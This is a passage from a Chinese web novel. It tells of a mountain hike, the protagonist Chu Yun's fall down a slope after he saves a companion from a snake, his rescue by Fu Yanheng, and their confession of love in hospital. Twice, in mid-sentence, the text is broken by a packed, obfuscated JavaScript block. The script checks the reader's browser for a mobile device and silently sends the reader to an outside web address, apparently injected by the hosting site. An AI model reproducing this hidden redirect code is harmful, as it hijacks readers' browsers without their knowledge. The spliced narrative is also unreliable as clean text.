“没事。”被她这么一说,楚韫的思绪也飘远了:“我很小的时候父母就都去世了,我是被师父抚养长大的,耳濡目染自然就跟着他做茶了。” 乔洛“啊”了一声,因为愧疚面色涨红:“对不起,让你想到不好的经历了。” 梁淮淡淡看了她一眼,突然开口:“那边就是茶田了吧。” 他们这才发现,不知不觉间原本遮天蔽日的树林在身后退去,眼前铺开的茶田像被裁剪过的绿色绸缎,沿着起伏的山势一层叠着一层,一直漫到远处的云雾里。 前面的艾略尔特兴奋地回过头招呼他们:“嘿,快看!这就是翠溪眉茶田!” 沈清拿出手机开始疯狂拍照,光拍风景意犹未尽,还把手机递给了艾略尔特:“兄弟,帮我拍个照呗。” 泽田宽美看着沈清对镜头摆出的各种pose,冷嗤一声:“像个开屏的花孔雀。” 乔洛也想拍照,但看了一圈,泽田宽美看起来不好惹,她和梁淮又不熟,那边两个人拍得正欢,好像只有楚韫了。 “楚韫,”她忐忑不安道:“能麻烦你帮我拍个照吗?” 还没等楚韫说话,泽田宽美已经冷着脸抢走了她的相机:“他能懂什么?我可是拿过木村伊兵卫摄影奖的人。” 乔洛一头雾水:“木村什么?” 泽田宽美懒得和她解释,直接把人拉过去拍照了。 倒是梁淮笑出了声,偏头和楚韫说:“都不用我来,自然有人替我做了。” 看着楚韫疑惑的神情,梁淮心里一动,收敛了笑意:“没什么。你要拍照吗?” 不用。 楚韫下意识想这么说,但话到嘴边,他像是想起了什么,随即点点头:“好,麻烦你了。” 梁淮的拍照技术不错,最起码楚韫认为比自己的强多了。拿到照片后,楚韫挑了一张他认为最好看的给傅砚珩发了过去。 [傅砚珩:去爬山了?] [楚韫:嗯,跟其他选手一起爬的翠溪山。] [傅砚珩:照片拍得很漂亮。] [楚韫:是吧,我也觉得这里风景很好。] [傅砚珩:不是,我是说人很好看。] 楚韫差点把手机摔了。 然而罪魁祸首丝毫没有认识到他在楚韫心里搅起的惊涛骇浪,甚至更加得寸进尺地发了个语音条过来。 楚韫很想点开听听对方的声音,做贼似的环顾了一圈,发现大家还在各拍各的,梁淮也走到一边去接电话,这才把手机音量调到最低,听筒贴紧耳朵点开语音。 “真是可惜,”耳边传来男人的轻叹声,“要不是因为有个重要的会议要开,现在给你拍照的人应该就是我了。” 楚韫面无表情地揉了揉有些发热的耳朵,突然对自己的所作所为感到无比的荒谬。 ——明明没什么,他这样好像在偷情。 他忽然生出些试探的心思,有些恶劣地回复: [没事,开会重要,我身边有很多人可以帮我。] 试探的结果却不尽人意,他只得到了几个冰冷的大字。 [傅砚珩:玩得开心,注意安全。] 那层脆弱的暧昧被戳破,只剩下一片尴尬的泡沫。楚韫自嘲地笑了笑,没再回复。 是自己想错了吗。他垂下眼帘,想道。 心情一瞬间跌入谷底,楚韫不知道自己这是怎么了。夺冠的喜悦早已荡然无存,因为上天从未给他喘息的机会。从陈家烨的失踪,到余晋华一次又一次的构陷,还有邵凌……那样的恶魔,又重新染指了他的世界,在他耳边桀桀低语。 傅砚珩的回复没有任何问题,是自己抱了不可告人的心思,才会觉得难过。 他们本身就是两个世界的人,只是因为玩笑般的命运才会拥有一系列的交集。心存贪念,便欲壑难填。自己还有太多的责任没有完成,不能再这样沉沦下去了。 楚韫望着远处起伏的无尽绿海,努力压下心中异样,再抬眸又恢复了平日的冷淡。 “我们接着走吧!” 沈清终于拍完了他的人生照片,满意地和艾略尔特勾肩搭背,看起来非常哥俩好。 乔洛看着成品,一脸惊喜地朝泽田宽美道谢,得到了对方傲娇的哼哼声。 梁淮打完电话回来,看了楚韫一眼,下意识觉得他有点不对劲。但对方行为举止又看起来一切正常,他只能把疑惑默默咽回了肚子。 他们爬到山顶,太阳太过毒辣,索性就在山顶的茶舍里要了一壶翠溪眉,边休息边乘凉。 梁淮八面玲珑,堪称第二个宋清峦,大家往那一坐他就开始分发自己带来的食物,纸巾湿巾清凉喷雾藿香正气水一应俱全,甚至泽田宽美打了个喷嚏他都能立刻送上外套一件,成功让对方的嘴角上升了两个像素点。 艾略尔特一边吃中国小零食吃得不亦乐乎,一边问道:“梁淮,你是做什么工作的?” 梁淮刚多给楚韫分了一根火腿肠,闻言道:“我是律师。” 沈清一听,手里的饼干都掉到了桌上,看起来惊恐万分:“我的天啊,我有个师兄不做茶转行干律师了,后来每次我们见面我都吵不过他,他甚至会用他缜密的逻辑和戏谑的表情来碾压我的智商!” 梁淮温和地笑了笑:“律师也分很多种,不是每位律师都会把法庭上犀利的言辞带到生活中。” 他说:“不是有一个冷笑话说,为什么律师不喜欢和稻草人聊天。” 大家兴致勃勃地等着他的下文。 “因为他们总担心对方会突然说:反对!我只是在‘站着’作证,没有实际行为能力。” 众人一愣,随即不约而同地大笑起来。梁淮侧过头,就看见楚韫也弯起了唇角。 离开的时候,楚韫把那根多出来的火腿肠还给梁淮:“谢谢,但我已经够了。” 梁淮苦笑了一下,摇头道:“这你也要拒绝我。” 在一旁的沈清看出点门道,但他又想起茶仙节那天晚上出现的那个男人,目光立刻变得意味深长起来,并且已经在脑子里补充出一场狗血淋漓的你爱我我不爱你的三角恋大剧。 “想什么呢?笑得一脸不值钱的样。” 泽田宽美冷笑一声,沈清也不在意,高深莫测地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383317|184157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摇了摇头:“天机不可泄露,尔等红尘中人是不会懂的。” . 下山时,乌云遮住了太阳,天气变得凉爽舒适了起来。 楚韫和梁淮两人走在队伍最后,梁淮突然开口:“楚韫,你知道傅砚珩是什么样一个人吗?” 楚韫一愣,完全没想到他会提到傅砚珩。 “我不知道你们的关系到哪一步了,但于公于私我也应该提醒你,傅砚珩心机深沉,不论是与他合作,还是别的什么,都无异于与虎谋皮。” 梁淮看着脚下蜿蜒的石阶,接着说道:“你对他过往的经历了解多少?他接手亿恒之后大肆清洗集团内部的异己,导致傅氏几房旁支跳楼的跳楼,自杀的自杀,那些被他送进去无期徒刑的数不胜数,然后他才真正坐稳了现在这个位置。” 梁淮的声音听起来颇为冷酷:“我曾经帮一家科技公司打过官司,那个时候当事人的技术专利还有三个月到期,亿恒偏偏趁此提起诉讼,揪着一项排他条款的歧义不放。调解的时候,他也只让律师带和解协议,要么按他的价转后续研发权,要么接受他派技术观察员。我们想改条款,结果对面当场录音,用《合同法》条文堵我们的话。也是后来,我们才知道,这场看似无意义的诉讼是傅砚珩早早布下的一步棋,就是为了后续收购那家公司的分销渠道。” “他真的很可怕。”梁淮想起这件事还是会唏嘘,“他太清楚法律的边界在哪里了。所有动作都踩着条文走,却没留下任何违法的痕迹。这样的人,只要他想,任何人都能被他玩弄于股掌之中。为了达到最终目的,他可以布一局漫长的棋,等待着你一步步落入他的陷阱。” 楚韫一直沉默着,眉眼间像是笼了一层雾,梁淮看不懂,他自己也勘不破。 梁淮突然压低了声音,戳破楚韫心底最隐秘的情感:“而且,你知道他和徐菀真的关系吗?” 他盯着楚韫,连对方脸上一丝一毫的表情都不放过:“傅砚珩洁身自好这么多年,唯一传出过的风言风语就是和徐菀真。徐菀真回国后第一面见的就是傅砚珩,这件事在他们的圈子里都传遍了。要说他们之间没什么,又有谁会相信?” “徐菀真现在也在邬桥吧。”梁淮面对那张自始至终没展露出一丝脆弱的脸,心中终于升起了一股懊恼:“楚韫,你是聪明人。哪有这么巧的事情?傅砚珩前脚来了这,后脚她也来了。” “梁淮。”楚韫抬眼撞上梁淮双眸,在某个瞬间看起来像某种可怖的凶兽,逼得他目光一步步后退,终于避无可避地移开了眼神。 “我只相信我眼睛看到的,虽然感谢你和我说了这些,但傅砚珩是什么样的人,我自有判断。虽然我们是朋友,但我还是要再次提醒你,你越界了。” 楚韫声音很轻,却字字句句不容置疑:“你应该知道,我最讨厌什么样的人。” 说完,他不再理会对方的狼狈,快步向前走去。 . 接下来的路上,乔洛一直在和楚韫说话,但楚韫只是模模糊糊的听了一些,再心不在焉地应上两句。直到艾略尔特指了指天,和他们说“要下雨了,快些走”,他这才堪堪收住纷乱的思绪,加快了脚步。 空气里弥漫着越来越重的泥土气息,乔洛心里有些不安,却不知道这不安从何而来。隐约间她似乎听见了极轻的“嘶嘶”声,若有若无地环绕在她周围。 乔洛四处看了一下,什么都没有。但她还是本能地靠近了楚韫。 楚韫注意到她的异样,开口问道:“……怎么了?” 乔洛刚想回答,就见脚边的草叶突然剧烈晃动,一条手腕粗的乌梢蛇吐着信子,猛地游走出来! 乔洛尖叫一声,猛地往后缩,却没注意身后就是陡坡。蛇被她的尖叫声惊得往前窜了半尺,獠牙闪烁着冰冷的光芒,眼看就要咬到她的脚踝—— 一根枯枝猛地挥出,精准压在蛇的七寸上。楚韫手腕用力,将蛇按在湿滑的地面。蛇的身体剧烈扭动起来,尾巴拍打着地面,溅起不少泥点。楚韫死死按住木棍,不敢有丝毫松懈,目光紧紧盯着蛇的动向:“梁淮,来帮忙!” 这一切发生得太快,梁淮捡起一根粗枝刚要过去,就在这时,乔洛整个人像是被吓得神志不清,胡乱地挥舞着手臂,手肘重重撞在楚韫胸口。 “走开!走开!!” 她的声音抖得不成调,另一只手胡乱推在楚韫肩膀上,力气之大甚至把楚韫推得趔趄了一下。 因为快要下雨,脚下石阶变得湿滑,这一下推力让楚韫瞬间失去平衡,他想抓住旁边的树干稳住身形,结果那棵树的内部早已被蛀空了,不堪重负地发出“咔嚓咔嚓”的声音。 下一秒,梁淮惊骇的脸在他眼前一闪而过,对方似乎还朝他伸出了手:“楚韫!!!” “咔嚓——” 楚韫想抓住那只手,但一切都发生得太快,树干承受不住他的重量终于断裂,他们的指尖相错,随即更远地分离—— 他看见梁淮那张惨白的脸,然后整个人就顺着陡坡滚了下去。 31. 表白 也许是翻滚中抓到了带刺的灌木,此时掌心已经血肉模糊。这还是次要的,虽然刚才滚下来时第一时间采取了自救措施,但停稳后右小腿正卡在两块岩石中间,裤腿已经被血浸透。 这算是不幸中的万幸吗。 楚韫自嘲地想。 这么陡的坡,没摔死就不错了。他刚才试了一下,右腿被死死卡住,根本活动不了。这种情况下只能寄希望于梁淮他们赶紧找人上山搜救。 啪嗒一声,一滴液体落在他的脸上,随即更多冰凉的雨滴落在他身上。山林簌簌而响,这场雨终究是在他最无助的时候落下。 楚韫尽力伸长手臂,够到了远处一片巨大的落叶,收回身体时还是牵扯到了右腿,剧烈的疼痛让他一下子冒出了冷汗。 楚韫绷紧下颌,先从衣服下摆撕下一条布,给手掌简单包扎了一下,然后把那扇巨大的叶子顶在脑袋上,勉强遮一下雨。 背包里还有两瓶水,食物却是一点都没剩。楚韫想起那根还回去的火腿肠,在心里重重叹气。 手机屏幕被摔碎了,但还能开机。楚韫试了一下,三百六十度无死角的无信号,有可能是天气的原因,更大可能是自己直接滚到无人区来了。 好在这场雨还不算大。他苦中作乐地安慰自己,但也清楚知道要是搜救人员在天黑前找不到自己,他不死于伤口感染发炎,也容易葬身于野兽腹中。 . “都是我不好,是我害楚韫摔下去的——” 山脚的休息室内,乔洛哭得上气不接下气,好像下一秒就要晕厥。 沈清草草安慰了她几句,随即就见梁淮风一样快步走进来。 “已经和搜救队说了楚韫摔下去的具体位置,一会我和他们一起上山。” 艾略尔特说:“我和你一起去吧,多个人多份力。” 梁淮看了眼天色,拒绝了他:“天气不好,山上信号差,万一走散了还要分散救援力量去找人。” 他看了眼乔洛,勉强压住语气中的怒意:“等她情绪平稳了就带她回酒店,你们都回去。” 沈清张了张嘴还想说什么,就听身后传来一阵急促清晰的脚步声。 “楚韫怎么了?” 傅砚珩嗓音冰冷,但脸色甚至称得上是平静,但只有跟着的闻时知道,这种情况可是不太妙。 梁淮看见来人,眯了眯眼,却也知道现在时间紧迫,找人最重要,便用最精简的语言把事情经过和他说了。 傅砚珩听完,立刻对闻时说:“以最快的速度再调遣两只救援队伍来。”随后他转向梁淮,语气不容置疑:“现在就上山,我和你一起。” 说完,他的身影便消失在门口,自始至终没分给别人,哪怕是罪魁祸首一个眼神。 . 天气恶劣带来的是一些列连锁反应。无人机无法启用,只能靠地面力量进行救援。三只救援队伍迅速出发,在梁淮的指引下到达了楚韫摔下山崖的位置。搜救队根据梁淮的描述和景区地图划分出了搜救范围,分成几个小组沿既定路线进行地毯式搜索。 脚下的石阶被雨水泡得发滑,每一步都需要踩得格外用力,“笃笃”的脚步声在空荡的山路上格外清晰。为了节省时间,傅砚珩和梁淮分头行动,各自跟在一个搜救组后面。 傅砚珩打着手电筒,仔细侦查了一遍楚韫出事地的现场情况,在脑海里模拟了几条他经过的路线,最后推算出一条概率最大的路线。 他和一个搜救人员按照那条概率最大的路线行进,其他几人按照剩下的路线寻找。 出了行人步道,脚下的每一步都湿软而泥泞,傅砚珩一边往前走一边扶着周围的树,到最后索性自己用树枝做了根登山杖。 若是在平时,他们可以循着泥土上的印迹找人,但雨水会冲刷掉楚韫制造的一切痕迹,让搜救工作变得更加艰难。 傅砚珩又一次拨开横在眼前的枝叶,突然停下了脚步—— 面前的灌木丛被压弯了,倒伏在地上,明显是受到了外力的破坏。 手电筒的光亮朝四周晃动,直到照亮了一片匍匐的草坪。傅砚珩走过去观察,确认又是一处被人为破坏的植被。 他就这样一路追查下去,结果下一个转弯,这点来之不易的线索就在眼前生生断掉了。 漆黑的雨夜里,傅砚珩无声呼出一口气。 你在哪里呢,楚韫? 如果满足我一个愿望,那我希望你此刻平安无事。 . 楚韫不知道时间过了多久。 黑暗,四周只有一片伸手不见五指的黑暗,缓缓包裹住他,将他吞吃入腹。 他的意识其实已经有些模糊了,长时间的失血让他浑身发冷,否则他不会头脑混沌了半天才想起来可以看手机上的时间。 ——19:38。 骨骼肌肉每一处都透出酸软,嗓子干得像是要冒烟。楚韫吃力地从背包中摸索出一瓶矿泉水,拧了三次才拧开,然后往嘴里灌了几口。 我好像发烧了。 他这样想着,虽然眼皮沉得像坠了一块巨石,但还是强撑着不让自己睡过去。 不能死在这里。他缓缓抱住身体,试图减缓一点热量的流失。我还有那么多事情没做完,我还不能死。 . 手电筒不知道第几次扫过四周的每一寸草木,试图找出任何一点蛛丝马迹。突然,像是发现了什么,那束光定格在某个地方不动了。 傅砚珩蹲下身,手指轻轻碰了一下树枝上暗红色的痕迹。那是一个极细微的地方,光凭肉眼几乎发现不了,不然他也不会在这么多次后才找到这里。 “鲁米诺试剂。” 身后的搜救人员递给他一个玻璃瓶。傅砚珩倒出一点液体在手上,碰过树枝的指尖泛出蓝紫色荧光。 “是血。” 他喃喃道。随即快速站起身来,朝着一个方向走去。 脚下的路变得异常陡峭,向前的每一步都格外艰难,而且很多血迹已经被雨水冲刷掉了,往往需要耗费更多的时间一点点去找。 面前出现了一个陡坡,在多次大喊均未收到回应后,身后的搜救人员都开始劝说:“傅先生,前面太危险,不能再过去了。” 但冥冥之中傅砚珩就是觉得,楚韫一定在这附近。 “楚韫,能听到我说话吗——” 是谁。 模糊间,楚韫好像听到有人在喊他的名字。他已经被来势汹涌的高烧彻底吞没了意识,甚至一度以为自己出现了幻听。 “楚韫——!” “楚韫——!!” 不,不是幻听。 楚韫掐了一下受伤的掌心,试图用剧烈的疼痛让自己清醒一点。他张了张嘴,结果喉咙却哑得说不出一个字。 楚韫无声骂了一句,抓起塑料瓶猛灌一口。就在这时,上方传来一阵窸窸窣窣的脚步声,他甚至隐隐约约听到了“没人”、“先回去吧”几个字。 不能走。不能走。 楚韫抓住地上野草,用尽全身的最后一点力气喊道:“我在这——!!!” “!” 傅砚珩猝然回头,朝着刚才的方向喊道:“楚韫!是你吗楚韫?!!” 这次他没有听到楚韫的声音,只得到了一连串的敲击声。 傅砚珩晃动着手电筒,疯狂地在坡面下方寻找那个身影,终于发现了右腿卡在岩石中间、面色惨白如纸的楚韫。 “在这里!” 身后的救援人员拿着对讲机,语速飞快:“目标在西侧陡坡中段,距离主步道大约80米,以那棵歪脖子松树为标记,卡在松树下方3米处的凹地里。穿白色T恤,右小腿卡在两块灰黑色岩石中间,上方2米有丛带刺的藤蔓。目标失血严重,状态非常不好,请医疗人员迅速抵达现场。” 傅砚珩一直用手电筒照着楚韫所在的位置,他视力极佳,以至于在这种环境下也能看清楚韫脸上不正常的粉红色。 “楚韫,楚韫,”傅砚珩大声朝底下喊道:“你听我说,再坚持一下,千万别睡,救援人员马上就把你救上来。” ——这声音好像有一种穿透耳膜的力量,让楚韫混沌的世界恢复了一丝清明。他吃力地抬头望去,看见男人在黑夜中的脸,霎时间像是有无数光点在眼前炸开。 他从未见过这样的傅砚珩。 脆弱、不堪一击,仓皇如惊弓之鸟,眼底带着虔诚的祈求。 傅砚珩的声音从上方源源不断地传来,似乎只要听见他的声音,楚韫就能再多清醒一秒钟。 不知过了多少个一秒钟,楚韫听到上面传来更多的脚步声,伴随着金属锁扣“咔哒”一声脆响,有人朝他喊道:“我们现在放绳梯下来,你尽量往右侧岩石挪,那里能借力。” 楚韫咬着牙往右侧挪了半尺,小腿的伤口被碎石蹭到,疼得眼前发黑。他缓了一下,又尽力挪动了一点。 两名救援人员顺着绳梯降到他上方三米处,一人抛出带着卡扣的安全带:“把这个扣在腰上。” 等安全带彻底绷紧,救援人员俯身帮他检查伤口:“小腿有划伤,暂时没伤到骨头。我们用担架把你平移到上方平台,过程中要是疼就喊出来。” 接下来的过程楚韫一直处于一种浑浑噩噩的状态,只能感觉到自己的身体被放到担架上,然后缓缓上升,直到后背碰到了坚实的地面。 有人为他裹上毛毯,楚韫下意识偏了点头,就看见傅砚珩半蹲在他身边。 “睡吧,我一直在你身边。” 周围的搜救人员来来往往,在一片纷乱中,在这个暂时无人打扰的角落,傅砚珩折下脊背。 下一秒,温热的触感印在唇角,温柔美好得像一个经年的梦境。 . 楚韫身上伤口很多,但大多不严重,只有右腿那里有些软组织挫伤,可能需要静养一段时间。剩下的发烧也是受伤后细菌感染加上淋雨导致的并发症,打了退烧针后体温就逐渐平稳了下来。 傅砚珩听完医生的诊断,这才稍稍放下心来。但为了第一时间得知楚韫醒来的消息,他还是选择让闻时把自己的文件资料都搬到医院来,并且在楚韫的病房里将就了一晚。 清晨的阳光透过窗帘的缝隙照在床头,雪白的病床上,楚韫缓缓睁开了眼睛。 他盯着雪白的天花板看了几秒钟,随即有些迟钝地望向旁边的输液袋——里面的液体正一点一滴地输进自己的血管。 身旁传来很轻的呼吸声,楚韫侧头看去,就见傅砚珩穿着一件衬衫趴在他的床边。他的眼眸向来是锐利的,但在睡梦中,那些锋芒被尽数敛去,只能看到优美上挑的眼型。 傅砚珩似乎睡得并不安稳,睫毛在眼下投出一片淡淡的浅灰,让楚韫一时分不清那是阴影还是乌青。在输液管的滴答声里,他的眼皮忽然极轻地跳了一下,却没真正睁开。 楚韫静静地看了一会,慢慢抬起可以自由活动的那只手,轻轻碰了下对方微颤的睫毛—— 然后他就看见傅砚珩睁开了眼睛,眼底还残余着一点刚睡醒的茫然,就这样与他四目相对。 楚韫眼睁睁看着傅砚珩眼里最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383318|184157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后的混沌也烟消云散,随后哑着嗓子问道:“有没有哪里不舒服?” 楚韫摇了摇头,随即张嘴无声说了个“水”字。 傅砚珩给他倒了杯温水,楚韫本想接过来自己喝的,但水杯已经送到了他嘴边。 他只能低下头,小口小口喝完一整杯水。 傅砚珩把空了的水杯放回床头柜上,然后伸出手指抹去他唇上水痕,动作自然得让楚韫刹那间想起他昏迷之前的事—— 他被救上去之后已经烧迷糊了,对于那个亲吻也是恍恍惚惚的,总觉得是他烧出来的幻想。但此刻看见对方落在自己唇上的,不容忽视的目光,他终于意识到,不是梦,也不是幻想。 傅砚珩真的亲了他。 楚韫难得脑子宕机了几秒,面对傅砚珩,张了张嘴,最后也没说出来一个字。 傅砚珩见他这个样子,笑了笑:“你身上的伤口都处理完了,我一个小时前帮你量过体温,三十七度一,烧也基本退了。现在最需要注意的问题就是你右腿有中度软组织挫伤,需要静养两周。” 楚韫“嗯”了一声,轻声道:“你……一直在这里?为什么不去床上睡?” 傅砚珩微笑着说:“当然是因为昨晚有人抓着我的手不放,把我当成了降温的冰袋。”而且整个人都无意识地往自己身边蹭,把脸贴在他的小臂上,轻而易举地就撩拨起那些隐秘的欲/望。 楚韫第一次知道自己生病后还会有这种癖好,于是赶紧转移话题:“你公司是不是还有事情?这里让我朋友来帮忙就行。” 傅砚珩侧了侧身,让楚韫看到茶几上堆放着的文件。他说:“我已经把办公地点挪到这里了,至于你那位朋友——” 他想起昨天见到梁淮时对方的眼神,那里面明晃晃的敌意和防备,他还有什么不懂的。 “还是让他好好休息吧。” 他这话说得风轻云淡,楚韫也没觉出哪里不对,挣扎了一下还是说:“我想去洗漱一下,可以帮我叫个护工吗?” 话音刚落,眼前就出现了一节小臂。 “这种事情,麻烦我就好。” 楚韫也没跟他客气,借着傅砚珩的力,一蹦一蹦地去了洗手间。 把楚韫扶回床上后,傅砚珩自己也去洗漱了一下,再回来时正好碰上护士查房。 “病人体温三十六度八,已经正常了,但家属还是要关注一下,有什么不舒服的就按铃。” 本来很正常的一句话,但楚韫听到“家属”两个字就感觉别扭。傅砚珩看了一眼他蔓延上粉意的耳朵:“谢谢护士。” 护士推着推车离开了,病房里陷入了诡异的沉默。 “家属”两个字像是一个闸门,让楚韫想起他和傅砚珩相处的点点滴滴。那些已经被自己下定决心抛弃的情感,因为一个亲吻被尽数打乱。明明想要和对方划清界限,却总是事与愿违,他们的关系就是在他不知不觉的沦陷中,变得越来越不清晰。 “你就没什么想问我的?” 楚韫垂眸看着雪白的被单,如果他此时看到对方的神情,就会发现傅砚珩已经敛去了所有明面上的情感,就那样直直注视着他。 到了这个时候,楚韫的心里反而出奇的平静,他说:“你和徐菀真是什么关系?” “互相利用。我利用她挡掉婚约和相亲,她利用我快速掌控公司。” 楚韫点了点头,又抛出第二个问题:“你知道我是一个什么样的人吗?” 傅砚珩笑了笑,如果仔细观察,甚至能发现那笑容里潜藏的一丝悲悯。 他说:“你看似对人冷淡疏离,实则是在保护自己。你有孤注一掷与敌人搏斗的勇气和狠厉,也有童年创伤和情感障碍带来的脆弱不堪。你冷静、聪明、目标明确,也柔软、愚蠢、渴望温暖。你一直都在为别人而活,却把自己封闭在坚硬的茧里,一个人淋雨、摔倒、舔舐伤口,一个人度过无数个漫长的夜晚。” 胸腔里的心脏一下下地跳动,每一下都带着钝重的震感,蔓延出一片后知后觉的酸涩。楚韫沉默了一下,与傅砚珩对视,轻声道:“最后一个问题。” “你喜欢我吗?” 时间在两人的目光中融化、粘稠,明明只是抓不住的白驹过隙,却好像能被延长成一辈子的地老天荒。 傅砚珩的瞳孔偏浅,像是一汪温柔蛊惑的湖,让人心甘情愿地溺毙在里面。这样一双眼睛,专注地看着某个人时,好像整个世界便再容不下其他。 “楚韫,”他轻叹:“我不会教合作对象打高尔夫,不会对不相关的人卸下心防,不会为了普通朋友推掉很多工作来看他的比赛。” “江祈年对你表白后,我百般试探,只为了求一份心安。看到茶仙侍女特意把绣球扔给你,我会因为你们的相视一笑而吃醋。我讨厌梁淮对你的那份心思,所以哪怕他昨晚就想来看你,也被我的人拦住了。” “我天生缺乏情感共鸣的能力,对人际联结几乎没有渴望。你是第一个,也是唯一一个,牵动我全部情感,让我想要主动靠近,在我枯燥无味的生活里掀起波澜的人。” 傅砚珩俯身过来,两人的距离一下子变得很近,近到彼此的呼吸都能清晰感知。 “所以不用怀疑我对你的感情,”他说:“我喜欢你,楚韫。” 温度一节节攀高,傅砚珩的目光变得炙热、危险。在这样极度暧昧的氛围里,傅砚珩嗓音沉沉:“还记得你欠我的那个愿望吗?” 楚韫有些昏沉的头脑里有惊雷炸响,他一瞬间明白了什么—— “我想和你接吻。” 32. 亲吻 指尖轻轻摩挲那处柔软,像是一片羽毛落在唇上。楚韫向来敏感,情不自禁地瑟缩了一下。 傅砚珩以为他不愿意,动作停了下来,只是那目光依旧是沉的,带着炽热的温度。 楚韫抿了抿唇,气息不稳,带着颤音:“我好像还没和你说,我也喜欢你。” 呼吸瞬间交缠,温柔荡然无存,那些试探、推拉、言不由衷在这一刻烟消云散,只剩下坦诚过后最纯粹的喜悦。双唇被重重碾过,一个甚至称得上是急躁的吻沉下来,强势掠夺他每一寸的领土。 楚韫有些承受不住似的,在这样暴虐的攻势中渐渐后退。傅砚珩若有所感,手掌从楚韫的耳后滑到后颈,指腹陷进他柔软的发间,力道轻得像怕碰碎什么,却让他没法再后退。 安静的病房里,水声清晰可闻,一片昏沉中,楚韫模模糊糊地想:那些祝福居然都成真了。 最后还是楚韫实在喘不上气了,脸憋得通红,傅砚珩这才停了下来。 “不会换气?” 面对对方的调侃,楚韫勾了勾红润的嘴角:“第一次,不如你有经验。” 这点笑容里其实是有嘲讽的意味的,但配上楚韫微红的脸颊,还有那一双蕴了水的眸子,就显得毫无杀伤力。 傅砚珩心中一动:“你没谈过?” 楚韫不想回答,躺下转身拉上被子一气呵成:“我累了,想睡会。” 傅砚珩也不再深究,毕竟来日方长。当务之急还是让楚韫把身体养好。 “我就在旁边,你醒来就能看到我。” 背对着他,楚韫把半边脸埋在枕头里,嘴角微微翘起。 . “各位大哥通融一下,让我进去看看我哥呗——对对对,我真是他亲弟弟,你说哪有哥哥出事弟弟不去看望的对吧?” 沈清笑容真挚动人,一边说一边悄悄往病房外的保镖手里塞了盒软中华,结果被人毫不留情地推回来了。 沈清已经准备好上演一秒落泪悲情控诉的绝技了,就在这时,病房门被打开,傅砚珩抱臂看过来。 为首的保镖立刻低头认错:“对不起傅总,我立刻请这位先生离开。” 沈清睁大眼睛“哎”了一声,就听傅砚珩说:“不用了,让他进来吧。” 楚韫已经醒了,正倚在软枕上看书,看见沈清,朝对方微微颔首,算是打了招呼。 沈清抱着一束鲜花,溜溜地跑过来,刚想把花放在床头,就看见旁边盘子里放着一个削了一半的苹果,是谁削的不言而喻。 他识趣地把花挪到了茶几上,随即张开双臂就要往楚韫身上扑,余光触及旁边站着的傅砚珩,整个人一僵。 对方什么都没说,但眼神里的深意就是在明明白白地警告他。 沈清已经脑补出他扑到楚韫身上后连夜被人灭口分尸的惨状,打了个寒战,彻底老实了。 他悻悻地挪到楚韫床边:“哥,你现在感觉怎么样了?” 楚韫说:“没什么大事,不用担心。” 他一扬下巴:“那有椅子,坐。” 沈清讪笑摆手:“不了哥,我就是来看看你,回去还要和大家汇报情况。” 楚韫也不强求,随即像是想起了什么:“乔洛没事吧?” “她没事,还是多亏了你,不然那条蛇肯定把她咬了。”沈清说:“她也一直挺愧疚的,想要来亲自和你道歉,咳……但是因为某些原因没进来。” 楚韫收到沈清不时瞥向傅砚珩的信号,不禁哑然失笑:“跟她说不用往心里去,我也不觉得有什么——” 嘴边突然被递了块苹果,楚韫一顿,随即张嘴吃了。 看来你爱我我不爱你的狗血三角恋以面前这位冷面战神的胜出为告终。知道傅砚珩不好惹,沈清很识趣地说:“咳,那什么,你好好休息哈哥,我就先回去了,以后再来看你。” 楚韫刚想说话,结果就又被喂了一块苹果。他看了傅砚珩一眼,只能朝沈清摆摆手。 沈清一溜烟地就跑出去了,病房里又只剩下了他们两人。 仿佛没感受到楚韫戏谑的目光,傅砚珩泰然自若地问:“甜吗?” 楚韫说:“你尝尝不就知道了。” 然后他就收到了一个蜻蜓点水的吻。 哐当—— 闻时手里的袋子掉到地上,里面崭新的换洗衣物散落一地。 完了。 这是闻时脑海里唯一回荡的念头,伴随着的是他的绩效奖年终奖带薪休假国外旅行全都不翼而飞,从此之后他将被列入自家老板的黑名单里。 屋里两个人听到动静,齐齐朝他看过来。傅砚珩倒没什么反应,只是说:“把东西收拾好放进来。”楚韫看起来平静,但耳朵已经攀上了一层薄薄的红。 闻时极其迅速地把地上的东西收拾好,好在衣服都是新的,连包装都没拆,掉到地上也不会弄脏。然后目不斜视地把纸袋放到茶几上,就要立刻逃离现场。 “等会。”傅砚珩捏了捏眉心:“把瑞禾那个项目的策划案拿过来。” 闻时从拿来的文件袋里找出一叠纸,恭恭敬敬地递上。 傅砚珩看他这个样子,有些无奈:“行了,今天没你什么事了,去休息吧。” 闻时如闻大赦。 傅砚珩把那份策划案翻到第一页递给楚韫:“看看还有没有什么要补充的。” 楚韫仔仔细细地从头到尾看了一遍,里面的内容和他之前在瑞禾开会时听到的大差不差,只是这版策划案更加侧重茶文化和茶叶制作等方面,设计了很多更加具有倾斜性的设施。 比如说设在园区里的茶文化博物馆。 楚韫的目光落在这上面,饶有兴致地问:“所以你是打算采用我之前提出的建议,通过AR头显增强游客的体验感?” “没错,”傅砚珩说,“这样做的好处就是能够隔绝外界讲解的干扰,让游客亲身体验相关过程。茶文化知识科普可以找人录制讲解视频,但具体的手法演示可能就要麻烦楚老师了。” 